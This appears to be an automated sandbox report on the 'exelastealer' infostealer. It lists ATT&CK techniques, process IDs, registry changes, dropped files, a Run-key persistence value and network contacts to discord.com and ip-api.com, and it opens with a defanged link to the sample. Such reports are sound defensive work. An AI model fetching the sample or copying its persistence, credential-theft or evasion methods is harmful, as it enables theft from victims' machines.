exelastealer | hxxps://gofile[.]io/d/dg0UQ7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	spoof.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	AudioDriver.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
6472	cmd.exe
2416	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 54 IoCs

pid	Process
4304	GHOSTYFN.exe
5724	spoof.exe
3608	AudioDriver.exe
936	GHOSTYFN.exe
5548	spoof.exe
4788	dxwebsetup.exe
4640	dxwsetup.exe
4512	{d5aa195c-728f-4785-9f90-ac24a4cb352a}.exe
6800	Exela.exe
6900	Exela.exe
872	infinst.exe
6340	infinst.exe
1812	infinst.exe
6856	infinst.exe
2028	infinst.exe
5988	infinst.exe
2620	infinst.exe
2600	infinst.exe
3000	infinst.exe
396	infinst.exe
6244	infinst.exe
4756	infinst.exe
552	infinst.exe
6544	infinst.exe
5328	infinst.exe
1712	infinst.exe
3000	infinst.exe
6256	infinst.exe
5576	infinst.exe
6312	infinst.exe
5960	infinst.exe
6460	infinst.exe
6512	infinst.exe
636	infinst.exe
3868	infinst.exe
2364	infinst.exe
5344	infinst.exe
5392	infinst.exe
6056	infinst.exe
4248	infinst.exe
2732	infinst.exe
6664	infinst.exe
4152	infinst.exe
5008	infinst.exe
6020	infinst.exe
6232	infinst.exe
5848	infinst.exe
1664	infinst.exe
6524	infinst.exe
1632	infinst.exe
2396	infinst.exe
4072	infinst.exe
4036	infinst.exe
4940	infinst.exe

Loads dropped DLL 64 IoCs

pid	Process
3608	AudioDriver.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
6900	Exela.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
4640	dxwsetup.exe
1720	regsvr32.exe
1720	regsvr32.exe
4640	dxwsetup.exe
872	regsvr32.exe
4640	dxwsetup.exe
6880	regsvr32.exe
4640	dxwsetup.exe
5232	regsvr32.exe
4640	dxwsetup.exe
7116	regsvr32.exe
7116	regsvr32.exe
4640	dxwsetup.exe
6596	regsvr32.exe
4640	dxwsetup.exe
6856	regsvr32.exe
6856	regsvr32.exe
4640	dxwsetup.exe
6720	regsvr32.exe
6720	regsvr32.exe
4640	dxwsetup.exe
2392	regsvr32.exe
4640	dxwsetup.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	dxwebsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Exela Update Service = "C:\\Users\\Admin\\AppData\\Local\\ExelaUpdateService\\Exela.exe"	reg.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\J:	dxwsetup.exe
File opened (read-only)	\??\N:	dxwsetup.exe
File opened (read-only)	\??\Q:	dxwsetup.exe
File opened (read-only)	\??\T:	dxwsetup.exe
File opened (read-only)	\??\W:	dxwsetup.exe
File opened (read-only)	\??\H:	dxwsetup.exe
File opened (read-only)	\??\K:	dxwsetup.exe
File opened (read-only)	\??\L:	dxwsetup.exe
File opened (read-only)	\??\P:	dxwsetup.exe
File opened (read-only)	\??\U:	dxwsetup.exe
File opened (read-only)	\??\X:	dxwsetup.exe
File opened (read-only)	\??\A:	dxwsetup.exe
File opened (read-only)	\??\O:	dxwsetup.exe
File opened (read-only)	\??\S:	dxwsetup.exe
File opened (read-only)	\??\V:	dxwsetup.exe
File opened (read-only)	\??\Z:	dxwsetup.exe
File opened (read-only)	\??\G:	dxwsetup.exe
File opened (read-only)	\??\E:	dxwsetup.exe
File opened (read-only)	\??\I:	dxwsetup.exe
File opened (read-only)	\??\M:	dxwsetup.exe
File opened (read-only)	\??\R:	dxwsetup.exe
File opened (read-only)	\??\Y:	dxwsetup.exe
File opened (read-only)	\??\B:	dxwsetup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
272	discord.com
273	discord.com
274	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
269	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
2320	cmd.exe
4400	ARP.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_x3daudio_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_32.dll	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_36.dll	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\directx\websetup\dsetup.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Nov2008_d3dx10_40_x86.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Mar2008_d3dx10_37_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETC038.tmp	dxwsetup.exe
File created	C:\Windows\system32\SETCC17.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETD2D2.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETD3DE.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\d3dx9_27.dll	infinst.exe
File opened for modification	C:\Windows\SysWOW64\xactengine2_3.dll	dxwsetup.exe
File created	C:\Windows\system32\SETDF60.tmp	infinst.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\system32\SETBFA3.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETCB93.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SETD36A.tmp	infinst.exe
File created	C:\Windows\system32\SETD36A.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_27.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETC4B2.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2010_d3dx10_43_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\system32\SETC252.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\xactengine2_5.dll	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETD72E.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETE8AF.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_29.dll	dxwsetup.exe
File opened for modification	C:\Windows\system32\XAudio2_1.dll	infinst.exe
File opened for modification	C:\Windows\system32\SETCD7E.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETDB3B.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\D3DX9_39.dll	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETE55C.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\xactengine2_4.dll	dxwsetup.exe
File opened for modification	C:\Windows\system32\d3dx9_32.dll	infinst.exe
File created	C:\Windows\SysWOW64\SETCB73.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETDE4B.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\XAPOFX1_0.dll	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETE8AF.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Aug2006_xinput_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2007_d3dx10_34_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Aug2007_xact_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETDFD4.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\XAPOFX1_0.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Feb2007_xact_x86.cab	dxwsetup.exe
File created	C:\Windows\system32\SETBFA4.tmp	infinst.exe
File created	C:\Windows\SysWOW64\SETC68A.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETDFD4.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Feb2006_d3dx9_29_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\XAudio2_1.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Aug2009_d3dcsx_42_x86.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Nov2007_d3dx10_36_x64.cab	dxwsetup.exe
File created	C:\Windows\system32\SETC560.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETC832.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\X3DAudio1_3.dll	infinst.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Apr2006_xinput_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\system32\d3dx9_26.dll	infinst.exe
File created	C:\Windows\SysWOW64\SETC20E.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SETCCC2.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SETBD46.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Apr2006_d3dx9_30_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETBC2B.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETDAAD.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETBD46.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETBF6B.tmp	dxwsetup.exe
File created	C:\Windows\system32\SETDDCA.tmp	infinst.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

persistence privilege_escalation

Process Discovery

T1057

pid	Process
2168	tasklist.exe
6184	tasklist.exe
5832	tasklist.exe
6576	tasklist.exe
6304	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
7092	cmd.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/6900-10094-0x00007FF81A3F0000-0x00007FF81A9D8000-memory.dmp	upx
behavioral1/memory/6900-10096-0x00007FF835F50000-0x00007FF835F5F000-memory.dmp	upx
behavioral1/memory/6900-10095-0x00007FF8354B0000-0x00007FF8354D4000-memory.dmp	upx
behavioral1/memory/6900-10097-0x00007FF833520000-0x00007FF833539000-memory.dmp	upx
behavioral1/memory/6900-10098-0x00007FF833510000-0x00007FF83351D000-memory.dmp	upx
behavioral1/memory/6900-10099-0x00007FF8334F0000-0x00007FF833509000-memory.dmp	upx
behavioral1/memory/6900-10100-0x00007FF833420000-0x00007FF83344D000-memory.dmp	upx
behavioral1/memory/6900-10101-0x00007FF82E5C0000-0x00007FF82E5E3000-memory.dmp	upx
behavioral1/memory/6900-10102-0x00007FF81D470000-0x00007FF81D5E3000-memory.dmp	upx
behavioral1/memory/6900-10103-0x00007FF82E4F0000-0x00007FF82E51E000-memory.dmp	upx
behavioral1/memory/6900-10105-0x00007FF81A3F0000-0x00007FF81A9D8000-memory.dmp	upx
behavioral1/memory/6900-10104-0x00007FF81D1C0000-0x00007FF81D278000-memory.dmp	upx
behavioral1/memory/6900-10106-0x00007FF819600000-0x00007FF819975000-memory.dmp	upx
behavioral1/memory/6900-10143-0x00007FF8334D0000-0x00007FF8334E5000-memory.dmp	upx
behavioral1/memory/6900-10144-0x00007FF82E6E0000-0x00007FF82E6F2000-memory.dmp	upx
behavioral1/memory/6900-10146-0x00007FF82DDD0000-0x00007FF82DDE4000-memory.dmp	upx
behavioral1/memory/6900-10145-0x00007FF833520000-0x00007FF833539000-memory.dmp	upx
behavioral1/memory/6900-10147-0x00007FF82DDB0000-0x00007FF82DDC4000-memory.dmp	upx
behavioral1/memory/6900-10149-0x00007FF82DD80000-0x00007FF82DDA2000-memory.dmp	upx
behavioral1/memory/6900-10151-0x00007FF82DD10000-0x00007FF82DD2B000-memory.dmp	upx
behavioral1/memory/6900-10150-0x00007FF81D0A0000-0x00007FF81D1BC000-memory.dmp	upx
behavioral1/memory/6900-10152-0x00007FF82E5C0000-0x00007FF82E5E3000-memory.dmp	upx
behavioral1/memory/6900-10154-0x00007FF82DCF0000-0x00007FF82DD09000-memory.dmp	upx
behavioral1/memory/6900-10155-0x00007FF829230000-0x00007FF82927D000-memory.dmp	upx
behavioral1/memory/6900-10153-0x00007FF81D470000-0x00007FF81D5E3000-memory.dmp	upx
behavioral1/memory/6900-10158-0x00007FF81FDB0000-0x00007FF81FDC1000-memory.dmp	upx
behavioral1/memory/6900-10157-0x00007FF81D1C0000-0x00007FF81D278000-memory.dmp	upx
behavioral1/memory/6900-10156-0x00007FF82E4F0000-0x00007FF82E51E000-memory.dmp	upx
behavioral1/memory/6900-10160-0x00007FF81FCF0000-0x00007FF81FD0E000-memory.dmp	upx
behavioral1/memory/6900-10159-0x00007FF819600000-0x00007FF819975000-memory.dmp	upx
behavioral1/memory/6900-10163-0x00007FF82E8D0000-0x00007FF82E8DA000-memory.dmp	upx
behavioral1/memory/6900-10162-0x00007FF81F4D0000-0x00007FF81F502000-memory.dmp	upx
behavioral1/memory/6900-10161-0x00007FF815360000-0x00007FF815B5B000-memory.dmp	upx
behavioral1/memory/6900-10201-0x00007FF81F420000-0x00007FF81F457000-memory.dmp	upx
behavioral1/memory/6900-10200-0x00007FF8334D0000-0x00007FF8334E5000-memory.dmp	upx
behavioral1/memory/6900-10327-0x00007FF82DD80000-0x00007FF82DDA2000-memory.dmp	upx
behavioral1/memory/6900-10402-0x00007FF82DD10000-0x00007FF82DD2B000-memory.dmp	upx
behavioral1/memory/6900-10527-0x00007FF819600000-0x00007FF819975000-memory.dmp	upx
behavioral1/memory/6900-10544-0x00007FF829230000-0x00007FF82927D000-memory.dmp	upx
behavioral1/memory/6900-10542-0x00007FF815360000-0x00007FF815B5B000-memory.dmp	upx
behavioral1/memory/6900-10517-0x00007FF81A3F0000-0x00007FF81A9D8000-memory.dmp	upx
behavioral1/memory/6900-10518-0x00007FF8354B0000-0x00007FF8354D4000-memory.dmp	upx
behavioral1/memory/6900-10530-0x00007FF82E6E0000-0x00007FF82E6F2000-memory.dmp	upx
behavioral1/memory/6900-10529-0x00007FF8334D0000-0x00007FF8334E5000-memory.dmp	upx
behavioral1/memory/6900-10528-0x00007FF81D1C0000-0x00007FF81D278000-memory.dmp	upx
behavioral1/memory/6900-10526-0x00007FF82E4F0000-0x00007FF82E51E000-memory.dmp	upx
behavioral1/memory/6900-10620-0x00007FF8360E0000-0x00007FF8360ED000-memory.dmp	upx
behavioral1/memory/6900-10707-0x00007FF81F420000-0x00007FF81F457000-memory.dmp	upx
behavioral1/memory/6900-11205-0x00007FF82DCF0000-0x00007FF82DD09000-memory.dmp	upx
behavioral1/memory/6900-11198-0x00007FF8334D0000-0x00007FF8334E5000-memory.dmp	upx
behavioral1/memory/6900-11187-0x00007FF8354B0000-0x00007FF8354D4000-memory.dmp	upx
behavioral1/memory/6900-11206-0x00007FF829230000-0x00007FF82927D000-memory.dmp	upx
behavioral1/memory/6900-11194-0x00007FF81D470000-0x00007FF81D5E3000-memory.dmp	upx
behavioral1/memory/6900-11186-0x00007FF81A3F0000-0x00007FF81A9D8000-memory.dmp	upx
behavioral1/memory/6900-19151-0x00007FF82DCF0000-0x00007FF82DD09000-memory.dmp	upx
behavioral1/memory/6900-19150-0x00007FF8334D0000-0x00007FF8334E5000-memory.dmp	upx
behavioral1/memory/6900-19149-0x00007FF82E4F0000-0x00007FF82E51E000-memory.dmp	upx
behavioral1/memory/6900-19148-0x00007FF81A3F0000-0x00007FF81A9D8000-memory.dmp	upx
behavioral1/memory/6900-19153-0x00007FF815360000-0x00007FF815B5B000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\msdownld.tmp\AS5A8FB5.tmp\Oct2006_d3dx9_31_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A9AD0.tmp\Jun2007_d3dx9_34_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5AD9BE.tmp\Aug2009_D3DCompiler_42_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AEDE2.tmp\Jun2005_d3dx9_26_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B6554.tmp\Mar2008_d3dx10_37_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B7A72.tmp\Jun2008_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AAC45.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5AB2EC.tmp\Jun2008_d3dx9_38_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AD20D.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B05B0.tmp\Jun2006_xact_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5B3A3D.tmp\Aug2007_d3dx10_35_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B6813.tmp\Mar2008_x3daudio_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A9581.tmp\Apr2007_d3dx9_33_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B5B13.tmp\Mar2008_d3dx9_37_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A8610.tmp\Aug2005_d3dx9_27_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AC0C7.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B0A24.tmp\Aug2006_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B0B4D.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5B4DB5.tmp\Nov2007_d3dx10_36_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A8FB5.tmp\Oct2006_d3dx9_31_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AE101.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B7BE9.tmp	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A7DE2.tmp\Apr2007_xinput_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AF96B.tmp\Feb2006_d3dx9_29_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\Logs\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A406C.tmp\dxupdate.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B27AF.tmp\Jun2007_d3dx9_34_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B68AF.tmp\Mar2008_x3daudio_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5A7D27.tmp\Apr2007_xinput_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5AE1EB.tmp\Jun2010_d3dcsx_43_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File created	C:\Windows\msdownld.tmp\AS5A7C1D.tmp\Dec2006_d3dx10_00_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A9DDE.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AFE0F.tmp\Feb2006_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5B17D0.tmp\Dec2006_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5B7477.tmp\Jun2008_d3dx10_38_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A7A39.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5A7DE2.tmp\Apr2007_xinput_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A8610.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A9581.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5A7B13.tmp\Dec2006_d3dx10_00_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A7DE2.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AEAD5.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5AF12E.tmp\Aug2005_d3dx9_27_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A8AA4.tmp\Feb2006_d3dx9_29_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5A9AD0.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5AB7CE.tmp\Aug2008_d3dx9_39_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5ABACC.tmp\Aug2008_d3dx10_39_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B05B0.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B4316.tmp\Aug2007_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5B6813.tmp\Mar2008_x3daudio_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B77C3.tmp\Jun2008_x3daudio_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5ADF0D.tmp\Jun2010_d3dx10_43_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5ADF0D.tmp\Jun2010_d3dx10_43_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AF12E.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5AF499.tmp\Dec2005_d3dx9_28_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B034E.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B16F6.tmp\Dec2006_xact_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B4316.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5B17D0.tmp	dxwsetup.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3560	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0007000000023ddd-9952.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AudioDriver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwsetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	{d5aa195c-728f-4785-9f90-ac24a4cb352a}.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwebsetup.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
936	cmd.exe
6976	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

pid	Process
6352	NETSTAT.EXE

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000038a6760542cf76680000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000038a676050000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090038a67605000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d38a67605000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000038a6760500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
